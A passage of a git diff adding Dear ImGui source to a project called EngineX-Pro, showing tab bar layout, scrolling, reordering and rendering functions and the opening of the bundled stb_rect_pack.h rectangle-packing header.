n++) + if (tab_bar->Tabs[n].ID == tab_id) + return &tab_bar->Tabs[n]; + return NULL; +} + +// The *TabId fields be already set by the docking system _before_ the actual TabItem was created, so we clear them regardless. +void ImGui::TabBarRemoveTab(ImGuiTabBar* tab_bar, ImGuiID tab_id) +{ + if (ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, tab_id)) + tab_bar->Tabs.erase(tab); + if (tab_bar->VisibleTabId == tab_id) { tab_bar->VisibleTabId = 0; } + if (tab_bar->SelectedTabId == tab_id) { tab_bar->SelectedTabId = 0; } + if (tab_bar->NextSelectedTabId == tab_id) { tab_bar->NextSelectedTabId = 0; } +} + +// Called on manual closure attempt +void ImGui::TabBarCloseTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab) +{ + IM_ASSERT(!(tab->Flags & ImGuiTabItemFlags_Button)); + if (!(tab->Flags & ImGuiTabItemFlags_UnsavedDocument)) + { + // This will remove a frame of lag for selecting another tab on closure. + // However we don't run it in the case where the 'Unsaved' flag is set, so user gets a chance to fully undo the closure + tab->WantClose = true; + if (tab_bar->VisibleTabId == tab->ID) + { + tab->LastFrameVisible = -1; + tab_bar->SelectedTabId = tab_bar->NextSelectedTabId = 0; + } + } + else + { + // Actually select before expecting closure attempt (on an UnsavedDocument tab user is expect to e.g. show a popup) + if (tab_bar->VisibleTabId != tab->ID) + tab_bar->NextSelectedTabId = tab->ID; + } +} + +static float ImGui::TabBarScrollClamp(ImGuiTabBar* tab_bar, float scrolling) +{ + scrolling = ImMin(scrolling, tab_bar->WidthAllTabs - tab_bar->BarRect.GetWidth()); + return ImMax(scrolling, 0.0f); +} + +static void ImGui::TabBarScrollToTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab, ImGuiTabBarSection* sections) +{ + if (tab->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) + return; + + ImGuiContext& g = *GImGui; + float margin = g.FontSize * 1.0f; // When to scroll to make Tab N+1 visible always make a bit of N visible to suggest more scrolling area (since we don't have a scrollbar) + int order = tab_bar->GetTabOrder(tab); + + // Scrolling happens only in the central section (leading/trailing sections are not scrolling) + // FIXME: This is all confusing. + float scrollable_width = tab_bar->BarRect.GetWidth() - sections[0].Width - sections[2].Width - sections[1].Spacing; + + // We make all tabs positions all relative Sections[0].Width to make code simpler + float tab_x1 = tab->Offset - sections[0].Width + (order > sections[0].TabCount - 1 ? -margin : 0.0f); + float tab_x2 = tab->Offset - sections[0].Width + tab->Width + (order + 1 < tab_bar->Tabs.Size - sections[2].TabCount ? margin : 1.0f); + tab_bar->ScrollingTargetDistToVisibility = 0.0f; + if (tab_bar->ScrollingTarget > tab_x1 || (tab_x2 - tab_x1 >= scrollable_width)) + { + // Scroll to the left + tab_bar->ScrollingTargetDistToVisibility = ImMax(tab_bar->ScrollingAnim - tab_x2, 0.0f); + tab_bar->ScrollingTarget = tab_x1; + } + else if (tab_bar->ScrollingTarget < tab_x2 - scrollable_width) + { + // Scroll to the right + tab_bar->ScrollingTargetDistToVisibility = ImMax((tab_x1 - scrollable_width) - tab_bar->ScrollingAnim, 0.0f); + tab_bar->ScrollingTarget = tab_x2 - scrollable_width; + } +} + +void ImGui::TabBarQueueReorder(ImGuiTabBar* tab_bar, const ImGuiTabItem* tab, int dir) +{ + IM_ASSERT(dir == -1 || dir == +1); + IM_ASSERT(tab_bar->ReorderRequestTabId == 0); + tab_bar->ReorderRequestTabId = tab->ID; + tab_bar->ReorderRequestDir = (ImS8)dir; +} + +bool ImGui::TabBarProcessReorder(ImGuiTabBar* tab_bar) +{ + ImGuiTabItem* tab1 = TabBarFindTabByID(tab_bar, tab_bar->ReorderRequestTabId); + if (tab1 == NULL || (tab1->Flags & ImGuiTabItemFlags_NoReorder)) + return false; + + //IM_ASSERT(tab_bar->Flags & ImGuiTabBarFlags_Reorderable); // <- this may happen when using debug tools + int tab2_order = tab_bar->GetTabOrder(tab1) + tab_bar->ReorderRequestDir; + if (tab2_order < 0 || tab2_order >= tab_bar->Tabs.Size) + return false; + + // Reordered TabItem must share the same position flags than target + ImGuiTabItem* tab2 = &tab_bar->Tabs[tab2_order]; + if (tab2->Flags & ImGuiTabItemFlags_NoReorder) + return false; + if ((tab1->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) != (tab2->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing))) + return false; + + ImGuiTabItem item_tmp = *tab1; + *tab1 = *tab2; + *tab2 = item_tmp; + + if (tab_bar->Flags & ImGuiTabBarFlags_SaveSettings) + MarkIniSettingsDirty(); + return true; +} + +static ImGuiTabItem* ImGui::TabBarScrollingButtons(ImGuiTabBar* tab_bar) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + const ImVec2 arrow_button_size(g.FontSize - 2.0f, g.FontSize + g.Style.FramePadding.y * 2.0f); + const float scrolling_buttons_width = arrow_button_size.x * 2.0f; + + const ImVec2 backup_cursor_pos = window->DC.CursorPos; + //window->DrawList->AddRect(ImVec2(tab_bar->BarRect.Max.x - scrolling_buttons_width, tab_bar->BarRect.Min.y), ImVec2(tab_bar->BarRect.Max.x, tab_bar->BarRect.Max.y), IM_COL32(255,0,0,255)); + + int select_dir = 0; + ImVec4 arrow_col = g.Style.Colors[ImGuiCol_Text]; + arrow_col.w *= 0.5f; + + PushStyleColor(ImGuiCol_Text, arrow_col); + PushStyleColor(ImGuiCol_Button, ImVec4(0, 0, 0, 0)); + const float backup_repeat_delay = g.IO.KeyRepeatDelay; + const float backup_repeat_rate = g.IO.KeyRepeatRate; + g.IO.KeyRepeatDelay = 0.250f; + g.IO.KeyRepeatRate = 0.200f; + float x = ImMax(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.x - scrolling_buttons_width); + window->DC.CursorPos = ImVec2(x, tab_bar->BarRect.Min.y); + if (ArrowButtonEx("##<", ImGuiDir_Left, arrow_button_size, ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_Repeat)) + select_dir = -1; + window->DC.CursorPos = ImVec2(x + arrow_button_size.x, tab_bar->BarRect.Min.y); + if (ArrowButtonEx("##>", ImGuiDir_Right, arrow_button_size, ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_Repeat)) + select_dir = +1; + PopStyleColor(2); + g.IO.KeyRepeatRate = backup_repeat_rate; + g.IO.KeyRepeatDelay = backup_repeat_delay; + + ImGuiTabItem* tab_to_scroll_to = NULL; + if (select_dir != 0) + if (ImGuiTabItem* tab_item = TabBarFindTabByID(tab_bar, tab_bar->SelectedTabId)) + { + int selected_order = tab_bar->GetTabOrder(tab_item); + int target_order = selected_order + select_dir; + + // Skip tab item buttons until another tab item is found or end is reached + while (tab_to_scroll_to == NULL) + { + // If we are at the end of the list, still scroll to make our tab visible + tab_to_scroll_to = &tab_bar->Tabs[(target_order >= 0 && target_order < tab_bar->Tabs.Size) ? target_order : selected_order]; + + // Cross through buttons + // (even if first/last item is a button, return it so we can update the scroll) + if (tab_to_scroll_to->Flags & ImGuiTabItemFlags_Button) + { + target_order += select_dir; + selected_order += select_dir; + tab_to_scroll_to = (target_order < 0 || target_order >= tab_bar->Tabs.Size) ? tab_to_scroll_to : NULL; + } + } + } + window->DC.CursorPos = backup_cursor_pos; + tab_bar->BarRect.Max.x -= scrolling_buttons_width + 1.0f; + + return tab_to_scroll_to; +} + +static ImGuiTabItem* ImGui::TabBarTabListPopupButton(ImGuiTabBar* tab_bar) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + // We use g.Style.FramePadding.y to match the square ArrowButton size + const float tab_list_popup_button_width = g.FontSize + g.Style.FramePadding.y; + const ImVec2 backup_cursor_pos = window->DC.CursorPos; + window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x - g.Style.FramePadding.y, tab_bar->BarRect.Min.y); + tab_bar->BarRect.Min.x += tab_list_popup_button_width; + + ImVec4 arrow_col = g.Style.Colors[ImGuiCol_Text]; + arrow_col.w *= 0.5f; + PushStyleColor(ImGuiCol_Text, arrow_col); + PushStyleColor(ImGuiCol_Button, ImVec4(0, 0, 0, 0)); + bool open = BeginCombo("##v", NULL, ImGuiComboFlags_NoPreview | ImGuiComboFlags_HeightLargest); + PopStyleColor(2); + + ImGuiTabItem* tab_to_select = NULL; + if (open) + { + for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) + { + ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; + if (tab->Flags & ImGuiTabItemFlags_Button) + continue; + + const char* tab_name = tab_bar->GetTabName(tab); + if (Selectable(tab_name, tab_bar->SelectedTabId == tab->ID)) + tab_to_select = tab; + } + EndCombo(); + } + + window->DC.CursorPos = backup_cursor_pos; + return tab_to_select; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: BeginTabItem, EndTabItem, etc. +//------------------------------------------------------------------------- +// - BeginTabItem() +// - EndTabItem() +// - TabItemButton() +// - TabItemEx() [Internal] +// - SetTabItemClosed() +// - TabItemCalcSize() [Internal] +// - TabItemBackground() [Internal] +// - TabItemLabelAndCloseButton() [Internal] +//------------------------------------------------------------------------- + +bool ImGui::BeginTabItem(const char* label, bool* p_open, ImGuiTabItemFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + ImGuiTabBar* tab_bar = g.CurrentTabBar; + if (tab_bar == NULL) + { + IM_ASSERT_USER_ERROR(tab_bar, "Needs to be called between BeginTabBar() and EndTabBar()!"); + return false; + } + IM_ASSERT(!(flags & ImGuiTabItemFlags_Button)); // BeginTabItem() Can't be used with button flags, use TabItemButton() instead! + + bool ret = TabItemEx(tab_bar, label, p_open, flags); + if (ret && !(flags & ImGuiTabItemFlags_NoPushId)) + { + ImGuiTabItem* tab = &tab_bar->Tabs[tab_bar->LastTabItemIdx]; + PushOverrideID(tab->ID); // We already hashed 'label' so push into the ID stack directly instead of doing another hash through PushID(label) + } + return ret; +} + +void ImGui::EndTabItem() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + ImGuiTabBar* tab_bar = g.CurrentTabBar; + if (tab_bar == NULL) + { + IM_ASSERT_USER_ERROR(tab_bar != NULL, "Needs to be called between BeginTabBar() and EndTabBar()!"); + return; + } + IM_ASSERT(tab_bar->LastTabItemIdx >= 0); + ImGuiTabItem* tab = &tab_bar->Tabs[tab_bar->LastTabItemIdx]; + if (!(tab->Flags & ImGuiTabItemFlags_NoPushId)) + PopID(); +} + +bool ImGui::TabItemButton(const char* label, ImGuiTabItemFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + ImGuiTabBar* tab_bar = g.CurrentTabBar; + if (tab_bar == NULL) + { + IM_ASSERT_USER_ERROR(tab_bar != NULL, "Needs to be called between BeginTabBar() and EndTabBar()!"); + return false; + } + return TabItemEx(tab_bar, label, NULL, flags | ImGuiTabItemFlags_Button | ImGuiTabItemFlags_NoReorder); +} + +bool ImGui::TabItemEx(ImGuiTabBar* tab_bar, const char* label, bool* p_open, ImGuiTabItemFlags flags) +{ + // Layout whole tab bar if not already done + if (tab_bar->WantLayout) + TabBarLayout(tab_bar); + + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + const ImGuiStyle& style = g.Style; + const ImGuiID id = TabBarCalcTabID(tab_bar, label); + + // If the user called us with *p_open == false, we early out and don't render. + // We make a call to ItemAdd() so that attempts to use a contextual popup menu with an implicit ID won't use an older ID. + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.LastItemStatusFlags); + if (p_open && !*p_open) + { + PushItemFlag(ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus, true); + ItemAdd(ImRect(), id); + PopItemFlag(); + return false; + } + + IM_ASSERT(!p_open || !(flags & ImGuiTabItemFlags_Button)); + IM_ASSERT((flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) != (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)); // Can't use both Leading and Trailing + + // Store into ImGuiTabItemFlags_NoCloseButton, also honor ImGuiTabItemFlags_NoCloseButton passed by user (although not documented) + if (flags & ImGuiTabItemFlags_NoCloseButton) + p_open = NULL; + else if (p_open == NULL) + flags |= ImGuiTabItemFlags_NoCloseButton; + + // Calculate tab contents size + ImVec2 size = TabItemCalcSize(label, p_open != NULL); + + // Acquire tab data + ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, id); + bool tab_is_new = false; + if (tab == NULL) + { + tab_bar->Tabs.push_back(ImGuiTabItem()); + tab = &tab_bar->Tabs.back(); + tab->ID = id; + tab->Width = size.x; + tab_bar->TabsAddedNew = true; + tab_is_new = true; + } + tab_bar->LastTabItemIdx = (ImS16)tab_bar->Tabs.index_from_ptr(tab); + tab->ContentWidth = size.x; + tab->BeginOrder = tab_bar->TabsActiveCount++; + + const bool tab_bar_appearing = (tab_bar->PrevFrameVisible + 1 < g.FrameCount); + const bool tab_bar_focused = (tab_bar->Flags & ImGuiTabBarFlags_IsFocused) != 0; + const bool tab_appearing = (tab->LastFrameVisible + 1 < g.FrameCount); + const bool is_tab_button = (flags & ImGuiTabItemFlags_Button) != 0; + tab->LastFrameVisible = g.FrameCount; + tab->Flags = flags; + + // Append name with zero-terminator + tab->NameOffset = (ImS16)tab_bar->TabsNames.size(); + tab_bar->TabsNames.append(label, label + strlen(label) + 1); + + // Update selected tab + if (tab_appearing && (tab_bar->Flags & ImGuiTabBarFlags_AutoSelectNewTabs) && tab_bar->NextSelectedTabId == 0) + if (!tab_bar_appearing || tab_bar->SelectedTabId == 0) + if (!is_tab_button) + tab_bar->NextSelectedTabId = id; // New tabs gets activated + if ((flags & ImGuiTabItemFlags_SetSelected) && (tab_bar->SelectedTabId != id)) // SetSelected can only be passed on explicit tab bar + if (!is_tab_button) + tab_bar->NextSelectedTabId = id; + + // Lock visibility + // (Note: tab_contents_visible != tab_selected... because CTRL+TAB operations may preview some tabs without selecting them!) + bool tab_contents_visible = (tab_bar->VisibleTabId == id); + if (tab_contents_visible) + tab_bar->VisibleTabWasSubmitted = true; + + // On the very first frame of a tab bar we let first tab contents be visible to minimize appearing glitches + if (!tab_contents_visible && tab_bar->SelectedTabId == 0 && tab_bar_appearing) + if (tab_bar->Tabs.Size == 1 && !(tab_bar->Flags & ImGuiTabBarFlags_AutoSelectNewTabs)) + tab_contents_visible = true; + + // Note that tab_is_new is not necessarily the same as tab_appearing! When a tab bar stops being submitted + // and then gets submitted again, the tabs will have 'tab_appearing=true' but 'tab_is_new=false'. + if (tab_appearing && (!tab_bar_appearing || tab_is_new)) + { + PushItemFlag(ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus, true); + ItemAdd(ImRect(), id); + PopItemFlag(); + if (is_tab_button) + return false; + return tab_contents_visible; + } + + if (tab_bar->SelectedTabId == id) + tab->LastFrameSelected = g.FrameCount; + + // Backup current layout position + const ImVec2 backup_main_cursor_pos = window->DC.CursorPos; + + // Layout + const bool is_central_section = (tab->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) == 0; + size.x = tab->Width; + if (is_central_section) + window->DC.CursorPos = tab_bar->BarRect.Min + ImVec2(IM_FLOOR(tab->Offset - tab_bar->ScrollingAnim), 0.0f); + else + window->DC.CursorPos = tab_bar->BarRect.Min + ImVec2(tab->Offset, 0.0f); + ImVec2 pos = window->DC.CursorPos; + ImRect bb(pos, pos + size); + + // We don't have CPU clipping primitives to clip the CloseButton (until it becomes a texture), so need to add an extra draw call (temporary in the case of vertical animation) + const bool want_clip_rect = is_central_section && (bb.Min.x < tab_bar->ScrollingRectMinX || bb.Max.x > tab_bar->ScrollingRectMaxX); + if (want_clip_rect) + PushClipRect(ImVec2(ImMax(bb.Min.x, tab_bar->ScrollingRectMinX), bb.Min.y - 1), ImVec2(tab_bar->ScrollingRectMaxX, bb.Max.y), true); + + ImVec2 backup_cursor_max_pos = window->DC.CursorMaxPos; + ItemSize(bb.GetSize(), style.FramePadding.y); + window->DC.CursorMaxPos = backup_cursor_max_pos; + + if (!ItemAdd(bb, id)) + { + if (want_clip_rect) + PopClipRect(); + window->DC.CursorPos = backup_main_cursor_pos; + return tab_contents_visible; + } + + // Click to Select a tab + ImGuiButtonFlags button_flags = ((is_tab_button ? ImGuiButtonFlags_PressedOnClickRelease : ImGuiButtonFlags_PressedOnClick) | ImGuiButtonFlags_AllowItemOverlap); + if (g.DragDropActive) + button_flags |= ImGuiButtonFlags_PressedOnDragDropHold; + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, button_flags); + if (pressed && !is_tab_button) + tab_bar->NextSelectedTabId = id; + hovered |= (g.HoveredId == id); + + // Allow the close button to overlap unless we are dragging (in which case we don't want any overlapping tabs to be hovered) + if (g.ActiveId != id) + SetItemAllowOverlap(); + + // Drag and drop: re-order tabs + if (held && !tab_appearing && IsMouseDragging(0)) + { + if (!g.DragDropActive && (tab_bar->Flags & ImGuiTabBarFlags_Reorderable)) + { + // While moving a tab it will jump on the other side of the mouse, so we also test for MouseDelta.x + if (g.IO.MouseDelta.x < 0.0f && g.IO.MousePos.x < bb.Min.x) + { + if (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) + TabBarQueueReorder(tab_bar, tab, -1); + } + else if (g.IO.MouseDelta.x > 0.0f && g.IO.MousePos.x > bb.Max.x) + { + if (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) + TabBarQueueReorder(tab_bar, tab, +1); + } + } + } + +#if 0 + if (hovered && g.HoveredIdNotActiveTimer > TOOLTIP_DELAY && bb.GetWidth() < tab->ContentWidth) + { + // Enlarge tab display when hovering + bb.Max.x = bb.Min.x + IM_FLOOR(ImLerp(bb.GetWidth(), tab->ContentWidth, ImSaturate((g.HoveredIdNotActiveTimer - 0.40f) * 6.0f))); + display_draw_list = GetForegroundDrawList(window); + TabItemBackground(display_draw_list, bb, flags, GetColorU32(ImGuiCol_TitleBgActive)); + } +#endif + + // Render tab shape + ImDrawList* display_draw_list = window->DrawList; + const ImU32 tab_col = GetColorU32((held || hovered) ? ImGuiCol_TabHovered : tab_contents_visible ? (tab_bar_focused ? ImGuiCol_TabActive : ImGuiCol_TabUnfocusedActive) : (tab_bar_focused ? ImGuiCol_Tab : ImGuiCol_TabUnfocused)); + TabItemBackground(display_draw_list, bb, flags, tab_col); + RenderNavHighlight(bb, id); + + // Select with right mouse button. This is so the common idiom for context menu automatically highlight the current widget. + const bool hovered_unblocked = IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup); + if (hovered_unblocked && (IsMouseClicked(1) || IsMouseReleased(1))) + if (!is_tab_button) + tab_bar->NextSelectedTabId = id; + + if (tab_bar->Flags & ImGuiTabBarFlags_NoCloseWithMiddleMouseButton) + flags |= ImGuiTabItemFlags_NoCloseWithMiddleMouseButton; + + // Render tab label, process close button + const ImGuiID close_button_id = p_open ? GetIDWithSeed("#CLOSE", NULL, id) : 0; + bool just_closed; + bool text_clipped; + TabItemLabelAndCloseButton(display_draw_list, bb, flags, tab_bar->FramePadding, label, id, close_button_id, tab_contents_visible, &just_closed, &text_clipped); + if (just_closed && p_open != NULL) + { + *p_open = false; + TabBarCloseTab(tab_bar, tab); + } + + // Restore main window position so user can draw there + if (want_clip_rect) + PopClipRect(); + window->DC.CursorPos = backup_main_cursor_pos; + + // Tooltip (FIXME: Won't work over the close button because ItemOverlap systems messes up with HoveredIdTimer) + // We test IsItemHovered() to discard e.g. when another item is active or drag and drop over the tab bar (which g.HoveredId ignores) + if (text_clipped && g.HoveredId == id && !held && g.HoveredIdNotActiveTimer > g.TooltipSlowDelay && IsItemHovered()) + if (!(tab_bar->Flags & ImGuiTabBarFlags_NoTooltip) && !(tab->Flags & ImGuiTabItemFlags_NoTooltip)) + SetTooltip("%.*s", (int)(FindRenderedTextEnd(label) - label), label); + + IM_ASSERT(!is_tab_button || !(tab_bar->SelectedTabId == tab->ID && is_tab_button)); // TabItemButton should not be selected + if (is_tab_button) + return pressed; + return tab_contents_visible; +} + +// [Public] This is call is 100% optional but it allows to remove some one-frame glitches when a tab has been unexpectedly removed. +// To use it to need to call the function SetTabItemClosed() between BeginTabBar() and EndTabBar(). +// Tabs closed by the close button will automatically be flagged to avoid this issue. +void ImGui::SetTabItemClosed(const char* label) +{ + ImGuiContext& g = *GImGui; + bool is_within_manual_tab_bar = g.CurrentTabBar && !(g.CurrentTabBar->Flags & ImGuiTabBarFlags_DockNode); + if (is_within_manual_tab_bar) + { + ImGuiTabBar* tab_bar = g.CurrentTabBar; + ImGuiID tab_id = TabBarCalcTabID(tab_bar, label); + if (ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, tab_id)) + tab->WantClose = true; // Will be processed by next call to TabBarLayout() + } +} + +ImVec2 ImGui::TabItemCalcSize(const char* label, bool has_close_button) +{ + ImGuiContext& g = *GImGui; + ImVec2 label_size = CalcTextSize(label, NULL, true); + ImVec2 size = ImVec2(label_size.x + g.Style.FramePadding.x, label_size.y + g.Style.FramePadding.y * 2.0f); + if (has_close_button) + size.x += g.Style.FramePadding.x + (g.Style.ItemInnerSpacing.x + g.FontSize); // We use Y intentionally to fit the close button circle. + else + size.x += g.Style.FramePadding.x + 1.0f; + return ImVec2(ImMin(size.x, TabBarCalcMaxTabWidth()), size.y); +} + +void ImGui::TabItemBackground(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImU32 col) +{ + // While rendering tabs, we trim 1 pixel off the top of our bounding box so they can fit within a regular frame height while looking "detached" from it. + ImGuiContext& g = *GImGui; + const float width = bb.GetWidth(); + IM_UNUSED(flags); + IM_ASSERT(width > 0.0f); + const float rounding = ImMax(0.0f, ImMin((flags & ImGuiTabItemFlags_Button) ? g.Style.FrameRounding : g.Style.TabRounding, width * 0.5f - 1.0f)); + const float y1 = bb.Min.y + 1.0f; + const float y2 = bb.Max.y - 1.0f; + draw_list->PathLineTo(ImVec2(bb.Min.x, y2)); + draw_list->PathArcToFast(ImVec2(bb.Min.x + rounding, y1 + rounding), rounding, 6, 9); + draw_list->PathArcToFast(ImVec2(bb.Max.x - rounding, y1 + rounding), rounding, 9, 12); + draw_list->PathLineTo(ImVec2(bb.Max.x, y2)); + draw_list->PathFillConvex(col); + if (g.Style.TabBorderSize > 0.0f) + { + draw_list->PathLineTo(ImVec2(bb.Min.x + 0.5f, y2)); + draw_list->PathArcToFast(ImVec2(bb.Min.x + rounding + 0.5f, y1 + rounding + 0.5f), rounding, 6, 9); + draw_list->PathArcToFast(ImVec2(bb.Max.x - rounding - 0.5f, y1 + rounding + 0.5f), rounding, 9, 12); + draw_list->PathLineTo(ImVec2(bb.Max.x - 0.5f, y2)); + draw_list->PathStroke(GetColorU32(ImGuiCol_Border), false, g.Style.TabBorderSize); + } +} + +// Render text label (with custom clipping) + Unsaved Document marker + Close Button logic +// We tend to lock style.FramePadding for a given tab-bar, hence the 'frame_padding' parameter. +void ImGui::TabItemLabelAndCloseButton(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImVec2 frame_padding, const char* label, ImGuiID tab_id, ImGuiID close_button_id, bool is_contents_visible, bool* out_just_closed, bool* out_text_clipped) +{ + ImGuiContext& g = *GImGui; + ImVec2 label_size = CalcTextSize(label, NULL, true); + + if (out_just_closed) + *out_just_closed = false; + if (out_text_clipped) + *out_text_clipped = false; + + if (bb.GetWidth() <= 1.0f) + return; + + // In Style V2 we'll have full override of all colors per state (e.g. focused, selected) + // But right now if you want to alter text color of tabs this is what you need to do. +#if 0 + const float backup_alpha = g.Style.Alpha; + if (!is_contents_visible) + g.Style.Alpha *= 0.7f; +#endif + + // Render text label (with clipping + alpha gradient) + unsaved marker + const char* TAB_UNSAVED_MARKER = "*"; + ImRect text_pixel_clip_bb(bb.Min.x + frame_padding.x, bb.Min.y + frame_padding.y, bb.Max.x - frame_padding.x, bb.Max.y); + if (flags & ImGuiTabItemFlags_UnsavedDocument) + { + text_pixel_clip_bb.Max.x -= CalcTextSize(TAB_UNSAVED_MARKER, NULL, false).x; + ImVec2 unsaved_marker_pos(ImMin(bb.Min.x + frame_padding.x + label_size.x + 2, text_pixel_clip_bb.Max.x), bb.Min.y + frame_padding.y + IM_FLOOR(-g.FontSize * 0.25f)); + RenderTextClippedEx(draw_list, unsaved_marker_pos, bb.Max - frame_padding, TAB_UNSAVED_MARKER, NULL, NULL); + } + ImRect text_ellipsis_clip_bb = text_pixel_clip_bb; + + // Return clipped state ignoring the close button + if (out_text_clipped) + { + *out_text_clipped = (text_ellipsis_clip_bb.Min.x + label_size.x) > text_pixel_clip_bb.Max.x; + //draw_list->AddCircle(text_ellipsis_clip_bb.Min, 3.0f, *out_text_clipped ? IM_COL32(255, 0, 0, 255) : IM_COL32(0, 255, 0, 255)); + } + + // Close Button + // We are relying on a subtle and confusing distinction between 'hovered' and 'g.HoveredId' which happens because we are using ImGuiButtonFlags_AllowOverlapMode + SetItemAllowOverlap() + // 'hovered' will be true when hovering the Tab but NOT when hovering the close button + // 'g.HoveredId==id' will be true when hovering the Tab including when hovering the close button + // 'g.ActiveId==close_button_id' will be true when we are holding on the close button, in which case both hovered booleans are false + bool close_button_pressed = false; + bool close_button_visible = false; + if (close_button_id != 0) + if (is_contents_visible || bb.GetWidth() >= g.Style.TabMinWidthForCloseButton) + if (g.HoveredId == tab_id || g.HoveredId == close_button_id || g.ActiveId == tab_id || g.ActiveId == close_button_id) + close_button_visible = true; + if (close_button_visible) + { + ImGuiLastItemDataBackup last_item_backup; + const float close_button_sz = g.FontSize; + PushStyleVar(ImGuiStyleVar_FramePadding, frame_padding); + if (CloseButton(close_button_id, ImVec2(bb.Max.x - frame_padding.x * 2.0f - close_button_sz, bb.Min.y))) + close_button_pressed = true; + PopStyleVar(); + last_item_backup.Restore(); + + // Close with middle mouse button + if (!(flags & ImGuiTabItemFlags_NoCloseWithMiddleMouseButton) && IsMouseClicked(2)) + close_button_pressed = true; + + text_pixel_clip_bb.Max.x -= close_button_sz; + } + + // FIXME: if FramePadding is noticeably large, ellipsis_max_x will be wrong here (e.g. #3497), maybe for consistency that parameter of RenderTextEllipsis() shouldn't exist.. + float ellipsis_max_x = close_button_visible ? text_pixel_clip_bb.Max.x : bb.Max.x - 1.0f; + RenderTextEllipsis(draw_list, text_ellipsis_clip_bb.Min, text_ellipsis_clip_bb.Max, text_pixel_clip_bb.Max.x, ellipsis_max_x, label, NULL, &label_size); + +#if 0 + if (!is_contents_visible) + g.Style.Alpha = backup_alpha; +#endif + + if (out_just_closed) + *out_just_closed = close_button_pressed; +} + + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imstb_rectpack.h b/EngineX-Pro/ImGui/imstb_rectpack.h new file mode 100644 index 0000000..ff2a85d --- /dev/null +++ b/EngineX-Pro/ImGui/imstb_rectpack.h @@ -0,0 +1,639 @@ +// [DEAR IMGUI] +// This is a slightly modified version of stb_rect_pack.h 1.00. +// Those changes would need to be pushed into nothings/stb: +// - Added STBRP__CDECL +// Grep for [DEAR IMGUI] to find the changes. + +// stb_rect_pack.h - v1.00 - public domain - rectangle packing +// Sean Barrett 2014 +// +// Useful for e.g. packing rectangular textures into an atlas. +// Does not do rotation. +// +// Not necessarily the awesomest packing method, but better than +// the totally naive one in stb_truetype (which is primarily what +// this is meant to replace). +// +// Has only had a few tests run, may have issues. +// +// More docs to come. +// +// No memory allocations; uses qsort() and assert() from stdlib. +// Can override those by defining STBRP_SORT and STBRP_ASSERT. +// +// This library currently uses the Skyline Bottom-Left algorithm. +// +// Please note: better rectangle packers are welcome! Please +// implement them to the same API, but with a different init +// function. +// +// Credits +// +// Library +// Sean Barrett +// Minor features +// Martins Mozeiko +// github:IntellectualKitty +// +// Bugfixes / warning fixes +// Jeremy Jaussaud +// Fabian Giesen +// +// Version history: +// +// 1.00 (2019-02-25) avoid small space waste; gracefully fail too-wide rectangles +// 0.99 (2019-02-07) warning fixes +// 0.11 (2017-03-03) return packing success/fail result +// 0.10 (2016-10-25) remove cast-away-const to avoid warnings +// 0.09 (2016-08-27) fix compiler warnings +// 0.08 (2015-09-13) really fix bug with empty rects (w=0 or h=0) +// 0.07 (2015-09-13) fix bug with empty rects (w=0 or h=0) +// 0.06 (2015-04-15) added STBRP_SORT to allow replacing qsort +// 0.05: added STBRP_ASSERT to allow replacing assert +// 0.04: fixed minor bug in STBRP_LARGE_RECTS support +// 0.01: initial release +// +// LICENSE +// +// See end of file for license information. + +////////////////////////////////////////////////////////////////////////////// +// +// INCLUDE SECTION +// + +#ifndef STB_INCLUDE_STB_RECT_PACK_H +#define STB_INCLUDE_STB_RECT_PACK_H + +#define STB_RECT_PACK_VERSION 1 + +#ifdef STBRP_STATIC +#define STBRP_DEF static +#else +#define STBRP_DEF extern +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct stbrp_context stbrp_context; +typedef struct stbrp_node stbrp_node; +typedef struct stbrp_rect stbrp_rect; + +#ifdef STBRP_LARGE_RECTS +typedef int stbrp_coord; +#else +typedef unsigned short stbrp_coord; +#endif + +STBRP_DEF int stbrp_pack_rects (stbrp_context *context, stbrp_rect *rects, int num_rects); +// Assign packed locations to rectangles. The rectangles are of type +// 'stbrp_rect' defined below, stored in the array 'rects', and there +// are 'num_rects' many of them. +// +// Rectangles which are successfully packed have the 'was_packed' flag +// set to a non-zero value and 'x' and 'y' store the minimum location +// on each axis (i.e. bottom-left in cartesian coordinates, top-left +// if you imagine y increasing downwards). Rectangles which do not fit 